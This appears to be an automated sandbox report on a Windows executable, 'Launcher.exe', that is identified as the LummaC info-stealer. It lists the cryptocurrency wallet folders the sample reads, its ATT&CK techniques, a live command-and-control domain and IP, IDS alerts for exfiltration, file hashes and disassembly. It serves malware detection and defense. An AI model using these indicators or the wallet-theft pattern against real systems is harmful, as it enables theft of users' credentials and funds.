Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\Launcher.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\Launcher.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior

Source: Yara match	File source: 00000003.00000003.2215064071.00000000034F3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2215064071.0000000003503000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Launcher.exe PID: 5688, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Launcher.exe PID: 5688, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	211 Process Injection	11 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	211 Process Injection	LSASS Memory	131 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	2 Clipboard Data	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	11 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	33 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Launcher.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://farewellnzu.icu/d	0%	Avira URL Cloud	safe
https://farewellnzu.icu/R	0%	Avira URL Cloud	safe
https://farewellnzu.icu/pi	100%	Avira URL Cloud	malware
https://farewellnzu.icu/apiu	0%	Avira URL Cloud	safe
https://farewellnzu.icu/api	0%	Avira URL Cloud	safe
https://farewellnzu.icu/icjJY%	0%	Avira URL Cloud	safe
https://farewellnzu.icu/apibTr	0%	Avira URL Cloud	safe
https://farewellnzu.icu:443/api	0%	Avira URL Cloud	safe
https://farewellnzu.icu:443/apical	0%	Avira URL Cloud	safe
https://farewellnzu.icu/	0%	Avira URL Cloud	safe
farewellnzu.icu	0%	Avira URL Cloud	safe
https://farewellnzu.icu/api(	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
farewellnzu.icu	172.67.198.61	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://farewellnzu.icu/api	true	Avira URL Cloud: safe	unknown
farewellnzu.icu	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Launcher.exe, 00000003.00000003.2148209010.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2148283560.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	Launcher.exe, 00000003.00000003.2148209010.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2148283560.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://farewellnzu.icu/d	Launcher.exe, 00000003.00000002.2301370627.00000000034F3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Launcher.exe, 00000003.00000003.2148209010.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2148283560.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	Launcher.exe, 00000003.00000003.2192980116.0000000005A6A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://farewellnzu.icu/pi	Launcher.exe, 00000003.00000003.2256165464.00000000034F3000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2279108045.00000000034F3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	Launcher.exe, 00000003.00000003.2215275401.0000000005A69000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2192980116.0000000005A6A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Launcher.exe, 00000003.00000003.2148209010.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2148283560.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	Launcher.exe, 00000003.00000003.2191621453.0000000005A80000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Launcher.exe, 00000003.00000003.2148209010.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2148283560.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	Launcher.exe, 00000003.00000003.2191621453.0000000005A80000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	Launcher.exe, 00000003.00000003.2148209010.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2148283560.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	Launcher.exe, 00000003.00000003.2192980116.0000000005A6A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	Launcher.exe, 00000003.00000003.2192632874.0000000005D84000.00000004.00000800.00020000.00000000.sdmp	false		high
https://farewellnzu.icu/icjJY%	Launcher.exe, 00000003.00000003.2237349522.00000000034F3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	Launcher.exe, 00000003.00000003.2215275401.0000000005A69000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	Launcher.exe, 00000003.00000003.2148209010.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2148283560.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://farewellnzu.icu:443/api	Launcher.exe, 00000003.00000003.2299733490.000000000348A000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000002.2301211251.000000000348A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.micro	Launcher.exe, 00000003.00000003.2256165464.00000000034AB000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2279108045.00000000034EF000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2237349522.00000000034AA000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2215064071.00000000034AA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	Launcher.exe, 00000003.00000003.2215275401.0000000005A69000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	Launcher.exe, 00000003.00000003.2191621453.0000000005A80000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	Launcher.exe, 00000003.00000003.2191621453.0000000005A80000.00000004.00000800.00020000.00000000.sdmp	false		high
https://farewellnzu.icu/R	Launcher.exe, 00000003.00000003.2215064071.00000000034F3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://farewellnzu.icu/apibTr	Launcher.exe, 00000003.00000002.2302063024.0000000005A60000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Launcher.exe, 00000003.00000003.2148209010.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2148283560.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	Launcher.exe, 00000003.00000003.2215275401.0000000005A69000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	Launcher.exe, 00000003.00000003.2191621453.0000000005A80000.00000004.00000800.00020000.00000000.sdmp	false		high
https://farewellnzu.icu/apiu	Launcher.exe, 00000003.00000003.2216504961.000000000351C000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2215064071.0000000003503000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://farewellnzu.icu:443/apical	Launcher.exe, 00000003.00000002.2301211251.000000000348A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	Launcher.exe, 00000003.00000003.2192632874.0000000005D84000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Launcher.exe, 00000003.00000003.2148209010.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2148283560.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.mozilla.or	Launcher.exe, 00000003.00000003.2192933766.0000000005A7D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://farewellnzu.icu/	Launcher.exe, 00000003.00000003.2215048182.0000000005A6B000.00000004.00000800.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2237349522.00000000034F3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	Launcher.exe, 00000003.00000003.2215275401.0000000005A69000.00000004.00000800.00020000.00000000.sdmp	false		high
https://farewellnzu.icu/api(	Launcher.exe, 00000003.00000003.2216504961.000000000351C000.00000004.00000020.00020000.00000000.sdmp, Launcher.exe, 00000003.00000003.2215064071.0000000003503000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.198.61	farewellnzu.icu	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561497
Start date and time:	2024-11-23 15:12:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Launcher.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/0@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 78% Number of executed functions: 36 Number of non-executed functions: 102
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Launcher.exe

Simulations

Behavior and APIs

Time	Type	Description
09:12:56	API Interceptor	8x Sleep call for process: Launcher.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.198.61	Loader.exe	Get hash	malicious	LummaC Stealer	Browse
172.67.198.61	VMX.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
farewellnzu.icu	Loader.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.198.61
	injector V2.4.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.44.93
	loader.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.44.93
	VMX.exe	Get hash	malicious	LummaC	Browse	172.67.198.61
	BlazeVaze.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Z8K4jt1j2H.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	SecuriteInfo.com.Win32.Evo-gen.14915.21522.exe	Get hash	malicious	LummaC	Browse	188.114.97.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	S#U043eftWare.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	Call 0f Duty A1 Launcher.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	arcaneloader.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.155.47
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.223.140
	unturnedHack.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
	file.exe	Get hash	malicious	Unknown	Browse	104.21.70.128
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	xLauncher.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.155.47
	Loader.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.198.61
	Aura.exe	Get hash	malicious	Unknown	Browse	104.21.33.116

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	S#U043eftWare.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.198.61
	Call 0f Duty A1 Launcher.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.198.61
	arcaneloader.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.198.61
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.198.61
	file.exe	Get hash	malicious	Unknown	Browse	172.67.198.61
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.198.61
	xLauncher.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.198.61
	Loader.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.198.61
	Aura.exe	Get hash	malicious	Unknown	Browse	172.67.198.61
	injector V2.5.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.198.61

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.690596603357686
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Launcher.exe
File size:	512'512 bytes
MD5:	3ca9ca734f501c8de4270556f80f0f60
SHA1:	47652fb87960680ffe11dbc27a7969a2dacac97e
SHA256:	cfe6d27ef692f436653789758b0713bf8c6e1ed6267bd22775ed482777db96e5
SHA512:	6dc317d7157bb0f7407f17db3b0a55297e549fbaa2cdd83ddf6ac084452367aa602492b0d0f095396bf03ff9ab34df71da355ec4dfbc85db595ea86bb3af10d5
SSDEEP:	12288:EuYPABqG93bG2zYH13IypcLRDW+vHfQ1n21GwriB4tP/9h:1YPABNLGTV3xpclDWMHQ21IWt/
TLSH:	48B4E01AB993A1A3E6935C7981D8A772495EBF340F21A5FB53201B786F3B1D1C132B43
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....Ag.................h........................@..........................0............@.................................T...<..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x41a890
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x6741DAB7 [Sat Nov 23 13:37:59 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	887797384d81c493a9d8ee55dad3b2e1

Entrypoint Preview

Instruction
call 00007F425C80FE2Ah
jmp 00007F425C80FC8Dh
mov ecx, dword ptr [004305F0h]
push esi
push edi
mov edi, BB40E64Eh
mov esi, FFFF0000h
cmp ecx, edi
je 00007F425C80FE26h
test esi, ecx
jne 00007F425C80FE48h
call 00007F425C80FE51h
mov ecx, eax
cmp ecx, edi
jne 00007F425C80FE29h
mov ecx, BB40E64Fh
jmp 00007F425C80FE30h
test esi, ecx
jne 00007F425C80FE2Ch
or eax, 00004711h
shl eax, 10h
or ecx, eax
mov dword ptr [004305F0h], ecx
not ecx
pop edi
mov dword ptr [004305ECh], ecx
pop esi
ret
push ebp
mov ebp, esp
sub esp, 14h
and dword ptr [ebp-0Ch], 00000000h
lea eax, dword ptr [ebp-0Ch]
and dword ptr [ebp-08h], 00000000h
push eax
call dword ptr [0042E46Ch]
mov eax, dword ptr [ebp-08h]
xor eax, dword ptr [ebp-0Ch]
mov dword ptr [ebp-04h], eax
call dword ptr [0042E430h]
xor dword ptr [ebp-04h], eax
call dword ptr [0042E42Ch]
xor dword ptr [ebp-04h], eax
lea eax, dword ptr [ebp-14h]
push eax
call dword ptr [0042E4A8h]
mov eax, dword ptr [ebp-10h]
lea ecx, dword ptr [ebp-04h]
xor eax, dword ptr [ebp-14h]
xor eax, dword ptr [ebp-04h]
xor eax, ecx
leave
ret
mov eax, 00004000h
ret
push 00431970h
call dword ptr [0042E488h]
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov al, 01h
ret
push 00030000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e254	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x34000	0x143c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x287c0	0xc0	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2e3c8	0x138	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x266ba	0x26800	9fc12b2919d7993b7875b406673b0c41	False	0.5423155945616883	data	6.676506145316532	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x28000	0x7264	0x7400	662c29d34464011348a2d81d315c214b	False	0.40833782327586204	data	4.811823385654876	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x30000	0x2068	0x1000	51c3c578bc7da757e8ebeb0ea4aceef9	False	0.484619140625	OpenPGP Secret Key	5.084546541546572	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0x33000	0x8	0x200	64e01fde7e0180fcba7fdb172e6bbca6	False	0.03125	data	0.06116285224115448	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x34000	0x143c	0x1600	a55fdfa9c914f00e7079e3187805e326	False	0.7510653409090909	data	6.285750152953626	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.coS	0x36000	0x4c800	0x4c800	8befc085f0df655fec9542b48d2685bd	False	1.0003382863562091	data	7.999380848476415	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL

Import

KERNEL32.dll

CloseHandle, CompareStringW, CreateFileA, CreateFileW, CreateThread, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, ExitProcess, ExitThread, FindClose, FindFirstFileExW, FindNextFileW, FlushFileBuffers, FreeEnvironmentStringsW, FreeLibrary, FreeLibraryAndExitThread, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetExitCodeThread, GetFileSize, GetFileType, GetLastError, GetModuleFileNameW, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitializeCriticalSectionAndSpinCount, InitializeCriticalSectionEx, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, RaiseException, ReadFile, RtlUnwind, SetEnvironmentVariableW, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, UnhandledExceptionFilter, WaitForSingleObjectEx, WideCharToMultiByte, WriteConsoleW, WriteFile

GDI32.dll

CreateEllipticRgn

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-23T15:12:56.139869+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49699	172.67.198.61	443	TCP
2024-11-23T15:12:56.824663+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49699	172.67.198.61	443	TCP
2024-11-23T15:12:56.824663+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49699	172.67.198.61	443	TCP
2024-11-23T15:12:58.155926+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49700	172.67.198.61	443	TCP
2024-11-23T15:12:58.873935+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49700	172.67.198.61	443	TCP
2024-11-23T15:12:58.873935+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49700	172.67.198.61	443	TCP
2024-11-23T15:13:00.455993+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49701	172.67.198.61	443	TCP
2024-11-23T15:13:02.633812+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49702	172.67.198.61	443	TCP
2024-11-23T15:13:04.879612+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49703	172.67.198.61	443	TCP
2024-11-23T15:13:07.273471+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49705	172.67.198.61	443	TCP
2024-11-23T15:13:07.978282+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49705	172.67.198.61	443	TCP
2024-11-23T15:13:09.881039+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49711	172.67.198.61	443	TCP
2024-11-23T15:13:13.548014+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49724	172.67.198.61	443	TCP
2024-11-23T15:13:14.265345+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49724	172.67.198.61	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 15:12:54.864677906 CET	49699	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:12:54.864708900 CET	443	49699	172.67.198.61	192.168.2.6
Nov 23, 2024 15:12:54.864824057 CET	49699	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:12:54.868093014 CET	49699	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:12:54.868113041 CET	443	49699	172.67.198.61	192.168.2.6
Nov 23, 2024 15:12:56.139707088 CET	443	49699	172.67.198.61	192.168.2.6
Nov 23, 2024 15:12:56.139868975 CET	49699	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:12:56.144181013 CET	49699	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:12:56.144213915 CET	443	49699	172.67.198.61	192.168.2.6
Nov 23, 2024 15:12:56.144664049 CET	443	49699	172.67.198.61	192.168.2.6
Nov 23, 2024 15:12:56.193450928 CET	49699	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:12:56.193492889 CET	49699	443	192.168.2.6	172.67.198.61
Nov 23, 2024 15:12:56.193607092 CET	443	49699	172.67.198.61	192.168.2.6
